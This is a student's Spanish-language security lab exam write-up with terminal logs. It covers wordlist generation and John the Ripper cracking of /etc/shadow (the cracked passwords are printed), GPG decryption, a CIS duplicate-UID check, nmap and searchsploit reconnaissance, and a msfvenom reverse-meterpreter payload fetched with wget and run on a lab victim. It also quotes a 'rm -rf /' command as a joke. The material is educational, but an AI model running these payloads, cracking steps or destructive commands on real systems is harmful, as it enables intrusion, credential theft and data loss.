

Examen SSI – UO285176

Ejercicio1

Ejercicio2

Crunch

```
ssiuser@vagrant:~$ crunch 10 10 -t test12%... -o crunch_output.txt
Crunch will now generate the following amount of data: 110 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10

crunch: 100% completed generating output
ssiuser@vagrant:~$ cat crunch_output.txt
test120...
test121...
test122...
test123...
test124...
test125...
test126...
test127...
test128...
test129...
ssiuser@vagrant:~$
```

Comandos:

\$ Crunch 10 10 -t test12%... -o crunch_output.txt

\$ Cat crunch_output.txt

John

```
ssiuser@vagrant:~$ sudo john -wordlist:crunch_output.txt /etc/shadow
Loaded 6 password hashes with 6 different salts (crypt, generic crypt(3) [?/64])
Remaining 3 password hashes with 3 different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 100% 0g/s 166.6p/s 500.0c/s 500.0C/s test120.....test129...
Session completed
ssiuser@vagrant:~$ sudo john --show /etc/shadow
user1:test121...:19500:0:99999:7:::
user2:test122...:19500:0:99999:7:::
user3:test123...:19500:0:99999:7:::

3 password hashes cracked, 3 left
ssiuser@vagrant:~$
```

Comandos:

\$ sudo john -wordlist:crunch_output.txt /etc/shadow

Ejercicio3

Primero importamos las claves públicas de los usuarios 1 y 3:

```
ssiuser@vagrant:~/Desktop/tmp$ ls
mensaje_de_1_a_3.txt.asc  private_key_user3.asc  public_key_user3.asc
private_key_user1.asc     public_key_user1.asc
ssiuser@vagrant:~/Desktop/tmp$ gpg --import public_key_user1.asc
gpg: /home/ssiuser/.gnupg/trustdb.gpg: trustdb created
gpg: key DE379998D7052F6E: public key "Usuario1 <user1@uniovi.es>" imported
gpg: Total number processed: 1
gpg:         imported: 1
ssiuser@vagrant:~/Desktop/tmp$ gpg --import public_key_user3.asc
gpg: key 3291AB667484E9C2: public key "Usuario3 <user3@uniovi.es>" imported
gpg: Total number processed: 1
gpg:         imported: 1
ssiuser@vagrant:~/Desktop/tmp$
```

Comandos:

\$ gpg --import public_key_userX.asc

Como tenemos las claves de los usuarios, las importamos y luego desciframos el archivo con la contraseña del usuario3:

```
ssiuser@vagrant:~/Desktop/tmp$ ls
mensaje_de_1_a_3.txt.asc  private_key_user3.asc  public_key_user3.asc
private_key_user1.asc     public_key_user1.asc
ssiuser@vagrant:~/Desktop/tmp$ gpg --import private_key_user3.asc
gpg: key 3291AB667484E9C2: "Usuario3 <user3@uniovi.es>" not changed
gpg: key 3291AB667484E9C2: secret key imported
gpg: Total number processed: 1
gpg:         unchanged: 1
gpg:         secret keys read: 1
gpg:         secret keys imported: 1
ssiuser@vagrant:~/Desktop/tmp$ gpg --import private_key_user1.asc
gpg: key DE379998D7052F6E: "Usuario1 <user1@uniovi.es>" not changed
gpg: key DE379998D7052F6E: secret key imported
gpg: Total number processed: 1
gpg:         unchanged: 1
gpg:         secret keys read: 1
gpg:         secret keys imported: 1
ssiuser@vagrant:~/Desktop/tmp$ gpg -o gpg_output.txt -d mensaje_de_1_a_3.txt.asc
gpg: encrypted with 3072-bit RSA key, ID E97E4BB1DA86E1B5, created 2023-05-23
"Usuario3 <user3@uniovi.es>"
ssiuser@vagrant:~/Desktop/tmp$ ls
gpg_output.txt            private_key_user1.asc  public_key_user1.asc
mensaje_de_1_a_3.txt.asc  private_key_user3.asc  public_key_user3.asc
ssiuser@vagrant:~/Desktop/tmp$ cat gpg_output.txt
Este examen !! Lo vamos a aprobar!!
ssiuser@vagrant:~/Desktop/tmp$
```

Comandos:

\$ gpg --import private_key_userX.asc

\$ gpg -o gpg_output.txt -d mensaje.txt

\$ cat gpg_output.txt

Ejercicio4

Se usará el **CIS 6.2.16 Ensure no duplicate UIDs exist (Scored)**

Creamos el siguiente script en bash para comprobar que no hay cuentas duplicadas:

```
#!/bin/bash

awk -F: '{print $3}' /etc/passwd | sort -n | uniq -c | while read -r uid; do
    [ -z "$uid" ] && break
    set - $uid
    if [ $1 -gt 1 ]; then
        users=$(awk -F: '($3 == n) { print $1 }' n="$2" /etc/passwd |
xargs)
        echo "Duplicate UID \"$2\": \"$users\""
    fi
done
```

Lo ejecutamos, pero lamentablemente nos devuelve de que hay permisos de root duplicados:

```
ssiuser@vagrant:~$ vim cis_ej4.sh
ssiuser@vagrant:~$ chmod +x cis_ej4.sh
ssiuser@vagrant:~$ ./cis_ej4.sh
Duplicate UID "0": "root dio"
ssiuser@vagrant:~$
```

Cambiamos manualmente la contraseña del usuario dio (igual que la de ssiuser):

```
ssiuser:$6$QZSTBcc8$pcbcUQsxvFHLVQI8yiADBwqEiJTBUSlBF5QJR2eqNelHxPsaryltD7MnPqn/4g.xRUwpbFhURBj5fFAIGSV0a1:19500:0:99999:7:::
dio:$6$QZSTBcc8$pcbcUQsxvFHLVQI8yiADBwqEiJTBUSlBF5QJR2eqNelHxPsaryltD7MnPqn/4g.xRUwpbFhURBj5fFAIGSV0a1:19500:0:99999:7:::
ftp*:19495:0:99999:7:::
user1:$6$7jEJ2FFH$czxjdt00vSPkvoMK/br5GZcsdkJoLcY02d2YP1KAKic3AbKhEHMFpKoJDrFghn
```

Ejercicio5

En primer lugar, realizaremos un escaneo con Nmap estándar pero algo sigiloso:

```
ssiuser@labexam_kali:~$ sudo nmap -sV -sS 192.168.66.3
[sudo] password for ssiuser:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 10:05 CEST
Nmap scan report for labexam_ubuntu.labexam_labexam_net (192.168.66.3)
Host is up (0.000013s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet   Linux telnetd
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 02:42:C0:A8:42:03 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
```

Comandos:

\$ sudo nmap -sV -sS 192.168.66.3

¿A dónde iría ahora para buscar si alguno de esos servicios y versiones tienen vulnerabilidades conocidas?

Una vez tengas los servicios y versiones, buscaría en la base de datos CVE

(<http://www.cvedetails.com/>) los exploits disponibles para los servicios que encontré

¿Qué haría ahora para encontrar si alguna de estas vulnerabilidades tienen exploits públicos conocidos?

Los buscaría en <https://www.exploit-db.com/> (si tengo Internet)

¿Qué programa le permitiría disponer de esos exploits públicos en escenarios donde no tienes acceso a Internet?

Haría uso del programa **Searchsploit**, que tiene una base de datos en la máquina local con exploits de todo tipo.

Muestra de los exploits disponibles para apache usando Searchsploit (la lista es grande):

```
ssliuser@labexam kali:~$ searchsploit apache
-----
Exploit Title | Path
-----
Apache - (Windows x86) - Chunked Encoding (Metasploit) | windows_x86/remote/16782.rb
Apache - PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/25296.c
Apache - PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache - Arbitrary Long HTTP Headers (Denial of Service) | multiple/dos/360.pl
Apache - Arbitrary Long HTTP Headers Denial of Service | linux/dos/371.c
Apache - Denial of Service | linux/dos/18221.c
Apache - httpOnly Cookie Disclosure | multiple/remote/18442.html
Apache - Remote Memory Exhaustion (Denial of Service) | multiple/dos/17696.pl
Apache - 0.8.x/1.0.x / NCSA HTTPD 1.x - 'test.cgi' Directory Listing | cgi/remote/20435.txt
Apache - 1.0/1.2/1.3 - Server Address Disclosure | multiple/remote/21067.c
Apache - 1.1 / NCSA HTTPD 1.5.2 / Netscape Server 1.12/1.1/2.0 - a nph- | multiple/dos/19536.txt
Apache - 1.2 - Denial of Service | multiple/dos/20558.txt
Apache - 1.2.5/1.2.1 / UnityMail 2.0 - MIME Header Denial of Service | windows/dos/20272.pl
Apache - 1.3 + PHP 3 - File Disclosure | multiple/remote/20466.txt
Apache - 1.3 - Artificially Long Slash Path Directory Listing (1) | multiple/remote/20692.pl
Apache - 1.3 - Artificially Long Slash Path Directory Listing (2) | multiple/remote/20693.c
Apache - 1.3 - Artificially Long Slash Path Directory Listing (3) | multiple/remote/20694.pl
Apache - 1.3 - Artificially Long Slash Path Directory Listing (4) | multiple/remote/20695.pl
Apache - 1.3 - Directory Index Disclosure | multiple/remote/21002.txt
Apache - 1.3.12 - WebDAV Directory Listings | linux/remote/20210.txt
Apache - 1.3.14 - Mac File Protection Bypass | osv/remote/20911.txt
Apache - 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure | windows/remote/21204.txt
Apache - 1.3.31 mod_include - Local Buffer Overflow | linux/local/587.c
Apache - 1.3.34/1.3.33 (Ubuntu / Debian) - CGI TTY Privilege Escalation | linux/local/2384.c
Apache - 1.3.35/2.0.58/2.2 - Arbitrary HTTP Request Headers Security | linux/remote/28424.txt
Apache - 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access | windows/remote/19975.pl
Apache - 1.3.x + Tomcat 4.0.x/4.1.x mod_jk - Chunked Encoding Denial of | unix/dos/22068.pl
Apache - 1.3.x - HTDigiest Realm Command Line Argument Buffer Overflow | unix/remote/25624.c
Apache - 1.3.x - HTDigiest Realm Command Line Argument Buffer Overflow | unix/remote/25625.c
Apache - 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure | linux/remote/132.c
Apache - 1.3.x mod_include - Local Buffer Overflow | linux/local/24694.c
Apache - 1.3.x mod_mime - Remote Code Execution | multiple/remote/67.c
Apache - 1.3/2.0.x - Server Side Include Cross-Site Scripting | multiple/remote/21885.txt
Apache - 1.4/2.2.x - APR 'apr_fmatch()' Denial of Service | linux/dos/35738.php
Apache - 1.x/2.0.x - Chunked-Encoding Memory Corruption (1) | multiple/remote/21559.c
Apache - 1.x/2.0.x - Chunked-Encoding Memory Corruption (2) | multiple/remote/21568.c
Apache - 2.0 - Encoded Backslash Directory Traversal | windows/remote/21607.txt
Apache - 2.0 - Full Path Disclosure | windows/remote/21719.txt

Apache - 2.0 mod_jk2 2.0.2 (Windows x86) - Remote Buffer Overflow | windows_x86/remote/5330.c
Apache - 2.0.39/40 - Oversized STDERR Buffer Denial of Service | linux/dos/21854.c
Apache - 2.0.44 (Linux) - Remote Denial of Service | linux/dos/11.c
Apache - 2.0.45 - APR 'Crash | linux/dos/38.pl
Apache - 2.0.49 - Arbitrary Long HTTP Headers Denial of Service | multiple/dos/1056.pl
Apache - 2.0.4x mod_perl - File Descriptor Leakage (3) | linux/local/23581.pl
Apache - 2.0.4x mod_php - File Descriptor Leakage (1) | linux/local/23481.c
Apache - 2.0.4x mod_php - File Descriptor Leakage (2) | linux/local/23482.c
Apache - 2.0.52 - GET Denial of Service | multiple/dos/855.pl
Apache - 2.0.58 mod_rewrite (Windows 2003) - Remote Overflow | windows/remote/3996.c
Apache - 2.2 (Windows) - Local Denial of Service | windows/dos/15319.pl
Apache - 2.2 - Scoreboard Invalid Free On Shutdown | linux/dos/41768.txt
Apache - 2.2.14 mod_isapi - Dangling Pointer Remote SYSTEM | windows/remote/11650.c
Apache - 2.2.15 mod_proxy - Reverse Proxy Security Bypass | linux/remote/36663.txt
Apache - 2.2.2 - CGI Script Source Code Information Disclosure | multiple/remote/28365.txt
Apache - 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting | unix/remote/30835.sh
Apache - 2.2.6 (Windows) - Share PHP File Extension Mapping Information | windows/remote/39901.txt
Apache - 2.2.6 mod_negotiation - HTML Injection / HTTP Response Splitting | linux/remote/31852.java
Apache - 2.4.17 - Denial of Service | windows/dos/39037.php
Apache - 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Priv | linux/local/46676.php
Apache - 2.4.23 mod_http2 - Denial of Service | linux/dos/49009.py
Apache - 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code | php/remote/48142.php
Apache - 2.4.7 mod_status - Scoreboard Handling Race Condition | linux/dos/24133.txt
Apache - 2.4.x - Buffer Overflow | multiple/webapps/51193.py
Apache - 2.x - Memory Leak | windows/dos/9.c
Apache - 7.0.x mod_proxy - Reverse Proxy Security Bypass | linux/remote/36352.txt
Apache - 2.1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow | multiple/remote/22237.sh
Apache - < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow | linux/dos/41769.txt
Apache - < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/42745.py
Apache - ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Executi | windows/remote/40857.txt
Apache - ActiveMQ 5.2/5.3 - Source Code Information Disclosure | multiple/remote/33868.txt
Apache - ActiveMQ 5.3 - 'admin/queueBrowse' Cross-Site Scripting | multiple/remote/33905.txt
Apache - ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasp | windows/remote/48181.rb
Apache - Airflow 1.10.10 - 'Example Dag' Remote Code Execution | multiple/webapps/49927.py
Apache - APISIX 2.12.1 - Remote Code Execution (RCE) | multiple/remote/50029.py
Apache - APR - Hash Collision Denial of Service | linux/dos/36669.txt
Apache - Archiva 1.0 < 1.3.1 - Cross-Site Request Forgery | multiple/webapps/15710.txt
Apache - Archiva 1.3.9 - Multiple Cross-Site Request Forgery Vulnerabil | xml/webapps/40109.txt
Apache - AXIS 1.0 - Non-Existent NSDL Path Information Disclosure | multiple/remote/29930.txt
Apache - Axis 1.4 - Remote Code Execution | multiple/remote/46682.py
Apache - Axis2 1.4.1 - Local File Inclusion | php/webapps/12721.txt
Apache - Axis2 1.x - '/axis2/axis2-admin' Session Fixation | multiple/remote/34186.txt
Apache - Axis2 Administration Console - (Authenticated) Cross-Site Scri | multiple/webapps/12689.txt
Apache - cocoon 2.14/2.2 - Directory Traversal | multiple/remote/23282.txt
Apache - Commons FileUpload and Apache Tomcat - Denial of Service | multiple/dos/31615.rb
```

Apache Tomcat 6.0.13	- Host Manager Servlet Cross-Site Scripting	multiple/remote/30495.html
Apache Tomcat 6.0.13	- Insecure Cookie Handling Quote Delimiter Sessi	multiple/remote/30496.txt
Apache Tomcat 6.0.13	- JSP Example Web Applications Cross-Site Script	jsp/webapps/30189.txt
Apache Tomcat 6.0.15	- Cookie Quote Handling Remote Information Disclo	multiple/remote/31130.txt
Apache Tomcat 6.0.16	- 'HttpServletResponse.sendError()' Cross-Site S	multiple/remote/32138.txt
Apache Tomcat 6.0.16	- 'RequestDispatcher' Information Disclosure	multiple/remote/32137.txt
Apache Tomcat 6.0.18	- Form Authentication Existing/Non-Existing 'Use	multiple/remote/33023.txt
Apache Tomcat 6/7/8/9	- Information Disclosure	multiple/remote/41783.txt
Apache Tomcat 7.0.4	- 'sort' / 'orderBy' Cross-Site Scripting	linux/remote/35811.txt
Apache Tomcat 8/7/6 (Debian Based Distros)	- Local Privilege Escalati	linux/local/40459.txt
Apache Tomcat 8/7/6 (RedHat Based Distros)	- Local Privilege Escalati	linux/local/40488.txt
Apache Tomcat 9.0.0.M1	- Cross-Site Scripting (XSS)	multiple/webapps/50119.txt
Apache Tomcat 9.0.0.M1	- Open Redirect	multiple/webapps/50118.txt
Apache Tomcat < 5.5.17	- Remote Directory Listing	multiple/remote/2061.txt
Apache Tomcat < 6.0.18	- 'utf8' Directory Traversal	unix/remote/14489.c
Apache Tomcat < 6.0.18	- 'utf8' Directory Traversal (PoC)	multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta)	- < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Up	jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta)	- < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Up	windows/webapps/42953.txt
Apache Tomcat Connector jk2-2.0.2 mod_jk2	- Remote Overflow	linux/remote/5386.txt
Apache Tomcat Connector mod_jk	- 'exec-shield' Remote Overflow	linux/remote/4162.c
Apache Tomcat Manager	- Application Deployer (Authenticated) Code Eve	multiple/remote/16317.rb
Apache Tomcat Manager	- Application Upload (Authenticated) Code Execu	multiple/remote/31433.rb
Apache Tomcat mod_jk 1.2.20	- Remote Buffer Overflow (Metasploit)	windows/remote/16798.rb
Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over H		php/remote/28713.php
Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API	- Remo	multiple/remote/46544.py
Apache Web Server 2.0.x - MS-DOS Device Name Denial of Service		linux/dos/22191.pl
Apache Win32 1.3.x/2.0.x - Batch File Remote Command Execution		windows/remote/21350.pl
Apache Xerces-C XML Parser < 3.1.2	- Denial of Service (PoC)	linux/dos/36996.txt
Apache2/1.3.4 - Multiple Vulnerabilities		php/webapps/42520.txt
Apache-Gallery 0.4/0.5/0.6	- Insecure File Storage Privilege Escalat	linux/local/23119.c
Apache-OFB12 17.12.01	- Remote Command Execution (RCE)	java/webapps/50178.sh
AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Exec		cgi/webapps/35835.txt
Bin WebLogic Apache Connector	- Code Execution / Denial of Service	windows/remote/6089.pl
CoBall RaD 2.0/3.0 - Apache .htaccess Disclosure		multiple/remote/19828.txt
htpasswd Apache 1.3.31	- Local Overflow	linux/local/466.pl
Joomla! Component com_intuit	- Apache Directory listing Download	php/webapps/10811.txt
MSA 1.3/1.4/x/1.5 / Apache HTTPd 0.8.11/0.8.14	- ScriptAlias Source	multiple/remote/70595.txt
Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0	- 'PDF/Docx' S	php/dos/44057.md
Oracle WebLogic Apache Connector	- POST Buffer Overflow (Metasploit)	windows/remote/18897.rb
PHP 5.4.3 - apache_request_headers Function Buffer Overflow (Metasplo		windows/remote/19231.rb
RedHat Apache 2.0.40	- Directory Index Default Configuration Error	linux/remote/23296.txt
RedHat Linux 7.0 Apache	- Remote Username Enumeration	linux/remote/21112.php
Webfroot Shoutbox < 2.32 (Apache)	- Local File Inclusion / Remote Cod	linux/remote/34.pl

Comandos:

\$ searchsploit apache

Ejercicio6

Primero creamos el script de pyhton con msfvenom:

```
ssiuser@labexam_kali:~$ msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.66.6 LPORT=4444 -f raw
> shell.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 24860 bytes

ssiuser@labexam_kali:~$ ls
shell.py
ssiuser@labexam_kali:~$
```

Comandos:

\$ msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.66.6 LPORT=4444 -f raw > shell.py

Ahora, para transferirlo a la máquina objetivo, creamos un servidor de python para leer archivos en un puerto determinado:

```
ssiuser@labexam_kali:~$ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
```

Comandos:

\$ python3 -m http.server 4444

Ahora transferimos el archivo en la máquina víctima:


```

ssiuser@labexam_ubuntu:~$ wget http://192.168.66.6:4444/shell.py
--2023-06-02 10:29:03-- http://192.168.66.6:4444/shell.py
Connecting to 192.168.66.6:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24860 (24K) [text/x-python]
Saving to: 'shell.py'

shell.py          100%[=====>]  24.28K  --.-KB/s   in 0s

2023-06-02 10:29:03 (205 MB/s) - 'shell.py' saved [24860/24860]

ssiuser@labexam_ubuntu:~$ ls
container_init.sh  shell.py
ssiuser@labexam_ubuntu:~$

```

Comandos:

\$ wget http://192.168.66.6:4444/shell.py

Ahora en la máquina atacante ejecutamos MSF:

```

ssiuser@labexam_kali:~$ service postgresql start
chmod: changing permissions of '/var/run/postgresql': Operation not permitted
ssiuser@labexam_kali:~$ sudo service postgresql start
[sudo] password for ssiuser:
Starting PostgreSQL 15 database server: main.
ssiuser@labexam_kali:~$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root
ssiuser@labexam_kali:~$ sudo msfdb init
/usr/bin/msfdb: line 50: systemctl: command not found
[+] Starting database
/usr/bin/msfdb: line 52: systemctl: command not found
[+] Creating database user 'msf'
[+] Creating databases 'msf'
(Message from Kali developers)

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
→ https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: "touch ~/.hushlogin" to hide this message)
[+] Creating databases 'msf_test'
(Message from Kali developers)

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
→ https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: "touch ~/.hushlogin" to hide this message)
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
ssiuser@labexam_kali:~$ msfconsole -q

```

Comandos:

\$ sudo service postgresql start

\$ sudo msfdb init

\$ msfconsole -q

Ahora creamos un **payload listener multi/handler stageless**:

```

ssiuser@labexam_kali:~$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD python/meterpreter_reverse_tcp
PAYLOAD => python/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  LHOST  192.168.66.6     yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port

Payload options (python/meterpreter_reverse_tcp):

  Name  Current Setting  Required  Description
  ----  -
  LHOST  192.168.66.6     yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 192.168.66.6
LHOST => 192.168.66.6
msf6 exploit(multi/handler) > exploit

```

Comandos:

\$ set PAYLOAD Python/meterpreter_reverse_tcp

\$ options

\$ set LHOST 192.168.66.6

\$ exploit -j

Ahora se inicia el listener:

```

msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.66.6:4444

```

Ahora ejecutamos el archivo Python en la máquina víctima:

```

ssiuser@labexam_ubuntu:~$ ls
container_init.sh  shell.py
ssiuser@labexam_ubuntu:~$ python3 shell.py
ssiuser@labexam_ubuntu:~$

```

¡Y ya tenemos nuestro **Meterpreter**!

```
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.66.6:4444
[*] Meterpreter session 1 opened (192.168.66.6:4444 -> 192.168.66.3:54688) at 2023-06-02 10:37:52 +0200
```

Podemos ver que ahora tenemos una sesión:

```
msf6 exploit(multi/handler) > sessions -l

Active sessions
=====
```

Id	Name	Type	Information	Connection
1		meterpreter	python/linux ssiuser @ labexam_ubuntu	192.168.66.6:4444 -> 192.168.66.3:54688 (192.168.66.3)

```
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter >
```

```
meterpreter > shell
Process 176 created.
Channel 1 created.
rm -rf / <- no intentemos esto no vaya a ser :3
```

```
meterpreter > shell
Process 176 created.
Channel 1 created.
ls
container_init.sh
shell.py
pwd
/home/ssiuser
```